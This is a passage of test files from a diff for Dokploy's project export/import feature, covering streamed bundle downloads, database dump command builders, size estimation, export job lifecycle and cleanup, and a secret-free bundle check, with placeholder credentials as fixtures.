it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => {
const bundlePath = join(root, "bundle.tar.gz");
const content = Buffer.from(
"fake bundle bytes, could be large in real life",
);
await writeFile(bundlePath, content);
createExportJob("export-2", "user-1", "org-1");
updateExportJob("export-2", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-2") as string;
const req = buildReq("GET", token);
const res = buildRes();
const [, received] = await Promise.all([
handler(req as any, res as any),
drain(res),
]);
expect(received.equals(content)).toBe(true);
expect(res.headers["Content-Type"]).toBe("application/gzip");
expect(res.headers["Content-Length"]).toBe(content.length);
expect(String(res.headers["Content-Disposition"])).toContain(
"bundle.tar.gz",
);
await new Promise((resolve) => setTimeout(resolve, 10));
expect(peekDownloadToken(token)).toBeUndefined();
});
it("keeps the token valid when the connection closes before the download finishes", async () => {
const bundlePath = join(root, "bundle-disconnect.tar.gz");
await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7));
createExportJob("export-disconnect-1", "user-1", "org-1");
updateExportJob("export-disconnect-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-disconnect-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.once("data", () => {
res.destroy();
});
await handler(req as any, res as any);
expect(peekDownloadToken(token)).toBeDefined();
});
it("destroys the response instead of hanging when the source stream errors mid-read", async () => {
const bundlePath = join(root, "bundle-error.tar.gz");
await writeFile(bundlePath, Buffer.from("will never actually be read"));
errorPathBox.value = bundlePath;
createExportJob("export-error-1", "user-1", "org-1");
updateExportJob("export-error-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-error-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.destroyed).toBe(true);
});
it("rejects a GET with a non-string token param", async () => {
const req = { method: "GET", query: { token: ["a", "b"] } };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
});
it("rejects non-GET methods", async () => {
const req = buildReq("POST", "whatever");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("does not buffer the whole file into memory while streaming a large bundle", async () => {
const bundlePath = join(root, "large-bundle.tar.gz");
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const { open } = await import("node:fs/promises");
const handle = await open(bundlePath, "w");
for (let i = 0; i < chunkCount; i++) {
await handle.write(chunk);
}
await handle.close();
createExportJob("export-large", "user-1", "org-1");
updateExportJob("export-large", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-large") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.resume();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(
req as unknown as Parameters<typeof handler>[0],
res as unknown as Parameters<typeof handler>[1],
);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(grew).toBeLessThan((chunkSize * chunkCount) / 2);
});
});
@@ -0,0 +1,550 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildComposeDumpCommand,
buildDumpCommand,
createDumps,
MAX_EMBEDDED_DUMP_BYTES,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
describe("buildDumpCommand", () => {
it("builds a postgres dump command using databaseName/databaseUser", () => {
const built = buildDumpCommand("postgres", {
appName: "pg-one",
databaseName: "mydb",
databaseUser: "myuser",
});
expect(built?.ext).toBe("sql.gz");
expect(built?.containerSearch).toContain("pg-one");
expect(built?.command).toContain("pg_dump");
expect(built?.command).toContain("mydb");
});
it("builds a mysql dump command using databaseRootPassword", () => {
const built = buildDumpCommand("mysql", {
appName: "mysql-one",
databaseName: "mydb",
databaseRootPassword: "rootpass",
});
expect(built?.command).toContain("mysqldump");
expect(built?.command).toContain("rootpass");
});
it("builds a mariadb dump command using databaseUser + databasePassword", () => {
const built = buildDumpCommand("mariadb", {
appName: "maria-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.command).toContain("mariadb-dump");
});
it("builds a mongo dump command", () => {
const built = buildDumpCommand("mongo", {
appName: "mongo-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.ext).toBe("archive.gz");
expect(built?.command).toContain("mongodump");
expect(built?.command).toContain("--archive --gzip");
expect(built?.command).not.toContain("-d ");
});
it("builds a libsql dump command over sqld's iku.db data directory", () => {
const built = buildDumpCommand("libsql", { appName: "libsql-one" });
expect(built?.ext).toBe("tar.gz");
expect(built?.command).toContain("iku.db");
expect(built?.command).not.toContain("libsql-one");
});
it("returns undefined for a non-dumpable service type", () => {
expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined();
expect(
buildDumpCommand("application", { appName: "app-one" }),
).toBeUndefined();
});
});
describe("buildComposeDumpCommand", () => {
it("builds from metadata.mariadb when databaseType is mariadb", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } },
});
expect(built?.command).toContain("mariadb-dump");
expect(built?.containerSearch).toContain("stack-one");
});
it("returns undefined when the matching metadata block is missing", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mongo",
metadata: {},
});
expect(built).toBeUndefined();
});
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [],
};
const buildTree = (
postgres: Record<string, unknown>[],
redis: Record<string, unknown>[] = [],
) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres,
redis,
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
deployments: { findMany: async () => [] },
backups: { findFirst: async () => undefined },
...overrides,
},
}) as any as TransferDb;
let workDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
});
describe("createDumps / embed mode", () => {
it("writes a dump per dumpable service via the injected runDump and records its size", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(100, 1));
},
},
);
expect(warnings).toHaveLength(0);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
]);
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true);
});
it("notes that admin users are not restored for a mongo dump", async () => {
const tree = buildTree([]);
tree.environments[0]!.mongo = [
{
mongoId: "mongo-1",
appName: "mongo-one",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
] as any;
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(10, 1));
},
},
);
expect(dumps).toHaveLength(1);
expect(warnings.map((w) => w.code)).toEqual([
"MONGO_ADMIN_USERS_NOT_RESTORED",
]);
});
it("skips redis (no dump mechanism)", async () => {
const tree = buildTree(
[],
[
{
redisId: "redis-1",
appName: "redis-one",
serverId: null,
backups: [],
},
],
);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(0);
});
it("does nothing when dumps.mode is none", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "none" } },
local(workDir),
{
runDump: async () => {
throw new Error("should not be called");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => {
const { open } = await import("node:fs/promises");
const handle = await open(localPath.path, "w");
await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1);
await handle.close();
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE");
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false);
});
it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("pg_dump: connection refused");
},
},
);
expect(dumps).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_FAILED");
expect(warnings[0]?.message).toContain("pg-one");
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "pg-1" }),
);
});
it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(1);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE");
expect(warnings[0]?.affected).toEqual([
{
serviceId: "compose-1",
serviceType: "compose",
serviceName: "stack-one",
environmentId: "env-1",
},
]);
expect(dumps[0]?.serviceId).toBe("compose-1");
expect(dumps[0]?.mode).toBe("embed");
expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain(
"backup-1",
);
});
it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("Container not found");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
});
describe("createDumps / referenceLastBackup mode", () => {
it("references the destination + key prefix of the latest successful backup", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const db = fakeDb({
deployments: {
findMany: async () => [{ backupId: "backup-1", status: "done" }],
},
backups: {
findFirst: async () => ({
backupId: "backup-1",
destinationId: "dest-1",
prefix: "/nightly/",
}),
},
});
const { dumps } = await createDumps(
db,
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "referenceLastBackup",
destinationId: "dest-1",
keyPrefix: "pg-one/nightly/",
},
]);
});
it("skips a service with no successful backup deployment", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toHaveLength(0);
});
});
@@ -0,0 +1,118 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import {
buildDatabaseSizeCommand,
buildDirectorySizeCommand,
estimateSizes,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
],
compose: [
{ composeId: "c-1", appName: "compose-one", serverId: "srv-1" },
],
postgres: [
{
postgresId: "pg-1",
appName: "pg-one",
serverId: null,
databaseName: "mydb",
databaseUser: "me",
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }],
libsql: [],
},
],
};
const pathsFn = (isServer = false) =>
({
APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps",
COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose",
}) as never;
describe("estimateSizes", () => {
it("sums database and file sizes, keyed to the right server and path", async () => {
const calls: [string | null, string][] = [];
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async (serverId, command) => {
calls.push([serverId, command]);
if (command.includes("pg_database_size")) return "1048576\n";
if (command.includes("/remote/compose/compose-one")) return "2048";
if (command.includes("/local/apps/app-one")) return "4096";
throw new Error("unexpected");
},
});
expect(sizes).toEqual({
estimatedDumpBytes: 1048576,
estimatedFilesBytes: 6144,
});
expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]);
expect(calls.some(([, c]) => c.includes("redis"))).toBe(false);
});
it("counts a failing probe as zero instead of failing the preview", async () => {
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async () => {
throw new Error("container not running");
},
});
expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 });
});
});
describe("size command builders", () => {
it("passes database credentials as env vars, never inside the container script", () => {
const command = buildDatabaseSizeCommand("mariadb", {
appName: "db-one",
databaseName: "shop",
databaseUser: "shop",
databasePassword: "s3cret'quote",
}) as string;
const [outer, inner] = command.split(" sh -c ");
expect(outer).toContain("-e DB_PASS=");
expect(inner).toContain('--password="$DB_PASS"');
expect(inner).not.toContain("s3cret");
expect(inner).not.toContain("\\$");
});
it("has no size probe for redis", () => {
expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined();
});
it("quotes the directory path", () => {
expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe(
"du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'",
);
});
});
@@ -0,0 +1,348 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelExport,
cleanupExpiredExports,
createExportJob,
getExportJob,
runExport,
runExportBatch,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-export-job-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"),
});
const emptyProjectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => emptyProjectTree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const waitForStatus = async (
exportId: string,
target: "done" | "error",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getExportJob(exportId);
if (job?.status === target || job?.status === "error") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 20));
}
throw new Error(
`Timed out waiting for export ${exportId} to reach ${target}`,
);
};
describe("runExport", () => {
it("produces a downloadable bundle for an (empty) project and issues a download token", async () => {
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.bundle?.path).toBeDefined();
expect(existsSync(job?.bundle?.path as string)).toBe(true);
expect(job?.downloadToken).toBeDefined();
expect(job?.size).toBeGreaterThan(0);
});
it("attaches dump warnings to the finished job when an embedded dump fails", async () => {
const tree = {
...emptyProjectTree,
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
compose: [],
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
mounts: [],
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
const db = {
query: {
projects: { findFirst: async () => tree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
applications: {
findMany: async () => [],
findFirst: async () => undefined,
},
},
} as any as TransferDb;
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db,
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.warnings?.map((warning) => warning.code)).toEqual([
"DUMP_FAILED",
]);
expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/);
});
it("gives two concurrent exports independent exportIds and workDirs", async () => {
const first = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const second = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
expect(first.exportId).not.toBe(second.exportId);
const [job1, job2] = await Promise.all([
waitForStatus(first.exportId, "done"),
waitForStatus(second.exportId, "done"),
]);
expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path);
expect(existsSync(job1?.bundle?.path as string)).toBe(true);
expect(existsSync(job2?.bundle?.path as string)).toBe(true);
});
});
describe("runExportBatch", () => {
it("runs the exports one after another and finishes every job", async () => {
const ctx = {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
};
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], ctx);
expect(exportIds).toHaveLength(2);
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(first?.bundle?.path).not.toBe(second?.bundle?.path);
expect(existsSync(first?.bundle?.path as string)).toBe(true);
expect(existsSync(second?.bundle?.path as string)).toBe(true);
}, 30_000);
it("restarts each job's TTL when it finishes, not when the batch was queued", async () => {
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
});
const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number;
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(second?.createdAt).toBeGreaterThan(queuedAt);
expect(second?.createdAt).toBeGreaterThanOrEqual(
first?.createdAt as number,
);
}, 30_000);
});
describe("cancelExport (T-6.7)", () => {
it("refuses to cancel while the export is actually running", async () => {
const job = createExportJob("cancel-running-1", "user-1", "org-1");
job.status = "dumping";
await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError);
expect(getExportJob("cancel-running-1")?.status).toBe("dumping");
});
it("allows cancelling once the export has reached a terminal status", async () => {
const job = createExportJob("cancel-done-1", "user-1", "org-1");
job.status = "done";
await cancelExport("cancel-done-1");
expect(getExportJob("cancel-done-1")).toBeUndefined();
});
});
describe("cleanupExpiredExports", () => {
it("deletes expired jobs and their bundle files", async () => {
const job = createExportJob("expired-1", "user-1", "org-1");
const bundlePath = join(root, "expired-1.dokploy.tar.gz");
await writeFile(bundlePath, "fake bundle");
job.workspace = { serverId: null, path: join(root, "expired-1") };
job.bundle = { serverId: null, path: bundlePath };
job.status = "done";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("expired-1");
expect(getExportJob("expired-1")).toBeUndefined();
expect(existsSync(bundlePath)).toBe(false);
});
it("leaves fresh jobs untouched", async () => {
createExportJob("fresh-1", "user-1", "org-1");
const expired = await cleanupExpiredExports(Date.now());
expect(expired.map((j) => j.exportId)).not.toContain("fresh-1");
expect(getExportJob("fresh-1")).toBeDefined();
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
const job = createExportJob("active-past-ttl-1", "user-1", "org-1");
job.status = "dumping";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1");
expect(getExportJob("active-past-ttl-1")).toBeDefined();
});
it("does clean up a terminal-status job once it's past the TTL", async () => {
const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1");
job.status = "error";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1");
expect(getExportJob("terminal-past-ttl-1")).toBeUndefined();
});
});
@@ -0,0 +1,276 @@
import { mkdtemp, readdir, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join, relative } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
manifestSchema,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const SECRET_VALUES = [
"hunter2-vault-secret-placeholder",
"realdbpassword123",
"registrypassword456",
"basicauthpassword789",
];
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-should-never-appear",
registryId: "registry-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpassword789",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
},
],
findFirst: async () => ({
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const walkFiles = async (dir: string, base = dir): Promise<string[]> => {
const entries = await readdir(dir, { withFileTypes: true });
const files: string[] = [];
for (const entry of entries) {
const full = join(dir, entry.name);
if (entry.isDirectory()) {
files.push(...(await walkFiles(full, base)));
} else {
files.push(relative(base, full));
}
}
return files;
};
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("export integration: capture -> serialize", () => {
it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe(
true,
);
expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe(
true,
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
const extractDir = join(outDir, "extracted");
await execAsync(
`mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`,
);
const manifestRaw = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const manifestResult = manifestSchema.safeParse(manifestRaw);
